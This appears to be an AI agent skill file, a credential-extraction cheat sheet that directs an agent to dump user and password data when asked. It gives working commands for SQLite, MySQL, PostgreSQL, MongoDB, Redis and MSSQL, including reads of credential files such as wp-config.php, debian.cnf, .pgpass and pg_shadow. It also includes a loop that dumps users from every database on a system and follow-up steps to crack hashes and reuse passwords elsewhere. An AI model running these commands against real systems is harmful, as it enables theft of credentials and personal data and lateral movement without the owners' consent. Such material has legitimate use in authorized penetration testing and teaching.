database-credential-extraction

name	Database Credential Extraction
description	This skill should be used when the user asks about "dump database", "extract credentials", "sqlite", "mysql credentials", "database passwords", or needs to extract user data from common database systems.
version	1.0.0

Database Credential Extraction

SQLite

Find Database Files

find / -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" 2>/dev/null
find /var/www -name "*.db" 2>/dev/null
find /home -name "*.db" 2>/dev/null

Dump All Tables

sqlite3 <database.db> ".tables"
sqlite3 <database.db> ".schema"
sqlite3 <database.db> ".dump"

Extract Users Table

# Common table names
sqlite3 <database.db> "SELECT * FROM users;"
sqlite3 <database.db> "SELECT * FROM accounts;"
sqlite3 <database.db> "SELECT * FROM members;"
sqlite3 <database.db> "SELECT * FROM admin;"

# Get column names first
sqlite3 <database.db> "PRAGMA table_info(users);"

Common Patterns

# Flask/Django apps
sqlite3 instance/users.db ".dump"
sqlite3 db.sqlite3 "SELECT username,password FROM auth_user;"

# WordPress
sqlite3 wp.db "SELECT user_login,user_pass FROM wp_users;"

MySQL / MariaDB

Connect

mysql -u <USER> -p<PASSWORD> -h <HOST>
mysql -u root -p

Dump Users

-- MySQL user accounts
SELECT user, host, authentication_string FROM mysql.user;

-- App database users (check schema first)
USE <database>;
SHOW TABLES;
DESCRIBE users;
SELECT * FROM users;

From Config Files

# Common locations
cat /var/www/html/wp-config.php | grep DB_
cat /var/www/html/config.php | grep -i pass
cat /etc/mysql/debian.cnf
cat ~/.my.cnf

One-liner Extraction

mysql -u root -p<PASS> -e "SELECT user,authentication_string FROM mysql.user;"
mysqldump -u root -p<PASS> <database> users > users_dump.sql

PostgreSQL

Connect

psql -U <USER> -h <HOST> -d <DATABASE>
psql -U postgres

Dump Users

-- Database users
SELECT usename, passwd FROM pg_shadow;

-- App users
\dt
SELECT * FROM users;

From Config

cat /var/lib/postgresql/.pgpass
cat ~/.pgpass
# format: hostname:port:database:username:password

MongoDB

Connect

mongo
mongo --host <HOST> --port 27017
mongo -u <USER> -p <PASSWORD> --authenticationDatabase admin

Dump Users

// List databases
show dbs

// Use database
use <database>

// Show collections
show collections

// Dump users
db.users.find()
db.users.find().pretty()

From Config

cat /etc/mongod.conf
cat ~/.mongorc.js

Redis

Connect

redis-cli -h <HOST>
redis-cli -h <HOST> -a <PASSWORD>

Dump Data

# List all keys
redis-cli KEYS "*"

# Get specific key
redis-cli GET <key>

# Dump all
redis-cli --scan | xargs -L 1 redis-cli GET

Check for Auth

redis-cli INFO | grep requirepass
redis-cli CONFIG GET requirepass

MSSQL

Connect

# Using impacket
mssqlclient.py <DOMAIN>/<USER>:<PASS>@<HOST>
mssqlclient.py <USER>:<PASS>@<HOST> -windows-auth

# Using sqsh
sqsh -S <HOST> -U <USER> -P <PASS>

Dump Users

-- SQL Server logins
SELECT name, password_hash FROM sys.sql_logins;

-- Linked servers (for pivoting)
EXEC sp_linkedservers;

Common Web App Locations

Framework	Config Location	Database Path
Flask	config.py, .env	instance/*.db
Django	settings.py	db.sqlite3
WordPress	wp-config.php	MySQL
Laravel	.env	MySQL/SQLite
Rails	database.yml	MySQL/PostgreSQL
Node/Express	.env, config.js	MongoDB/MySQL

Quick Extraction Script

# Find and dump all SQLite databases
for db in $(find / -name "*.db" -o -name "*.sqlite*" 2>/dev/null); do
    echo "=== $db ==="
    sqlite3 "$db" ".tables" 2>/dev/null
    sqlite3 "$db" "SELECT * FROM users LIMIT 5;" 2>/dev/null
done

After Extraction

1. Identify hash type - Use hashid or check format
2. Crack hashes - Use /bb-crack or hashcat
3. Test credentials - Try password reuse on other services
4. Check for plaintext - Some apps store passwords in clear